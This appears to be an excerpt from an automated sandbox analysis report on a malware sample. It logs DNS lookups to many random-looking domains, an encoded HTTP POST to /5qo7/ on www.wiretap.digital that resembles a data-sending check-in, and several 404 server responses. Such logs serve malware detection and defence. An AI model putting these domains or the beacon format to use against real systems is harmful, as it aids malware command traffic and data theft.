Source: global traffic	DNS traffic detected: DNS query: www.kmjai8jf.icu
Source: global traffic	DNS traffic detected: DNS query: www.cdqjey8g.sbs
Source: global traffic	DNS traffic detected: DNS query: www.pegji.online
Source: global traffic	DNS traffic detected: DNS query: www.ambaolive.info
Source: global traffic	DNS traffic detected: DNS query: www.cablecarrental.net
Source: global traffic	DNS traffic detected: DNS query: www.martmall.info
Source: global traffic	DNS traffic detected: DNS query: www.ninesquare.games
Source: global traffic	DNS traffic detected: DNS query: www.falconheights.net
Source: global traffic	DNS traffic detected: DNS query: www.18kwatch.com
Source: global traffic	DNS traffic detected: DNS query: www.myplayamate.llc
Source: global traffic	DNS traffic detected: DNS query: www.it2sp8.vip

Source: unknown

HTTP traffic detected: POST /5qo7/ HTTP/1.1Host: www.wiretap.digitalAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brOrigin: http://www.wiretap.digitalReferer: http://www.wiretap.digital/5qo7/Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Connection: closeContent-Length: 201User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36Data Raw: 45 32 66 48 3d 4e 4b 46 78 65 78 41 34 6b 59 4c 7a 76 74 4e 50 77 49 38 78 73 63 4c 77 2f 45 45 57 75 51 49 52 7a 41 6f 64 75 47 2b 68 32 62 54 4d 4d 48 68 66 77 2b 54 71 6e 76 48 4e 77 75 35 69 6a 39 6c 6c 48 56 2b 38 77 7a 6d 47 54 32 7a 37 4e 36 57 7a 67 38 78 68 65 44 70 75 53 67 50 79 79 31 4a 58 71 41 67 44 77 30 6d 55 73 4a 63 73 59 49 65 7a 59 46 37 4f 7a 79 4b 38 55 6c 42 6d 4c 64 6f 5a 52 58 57 74 4b 75 6b 79 70 36 70 6e 46 6c 34 6f 42 69 30 71 57 38 54 6f 43 6e 74 66 42 66 6d 44 61 44 36 49 74 71 50 6b 4a 46 38 57 2b 30 6c 4f 2f 69 58 41 49 4a 6c 67 44 2f 44 42 35 57 46 4c 30 41 3d 3d Data Ascii: E2fH=NKFxexA4kYLzvtNPwI8xscLw/EEWuQIRzAoduG+h2bTMMHhfw+TqnvHNwu5ij9llHV+8wzmGT2z7N6Wzg8xheDpuSgPyy1JXqAgDw0mUsJcsYIezYF7OzyK8UlBmLdoZRXWtKukyp6pnFl4oBi0qW8ToCntfBfmDaD6ItqPkJF8W+0lO/iXAIJlgD/DB5WFL0A==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 07 Nov 2024 11:50:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 07 Nov 2024 11:50:58 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 07 Nov 2024 11:51:01 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 07 Nov 2024 11:51:03 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 11:51:23 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 11:51:26 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Thu, 07 Nov 2024 11:51:28 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Thu, 07 Nov 2024 11:51:31 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 11:51:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
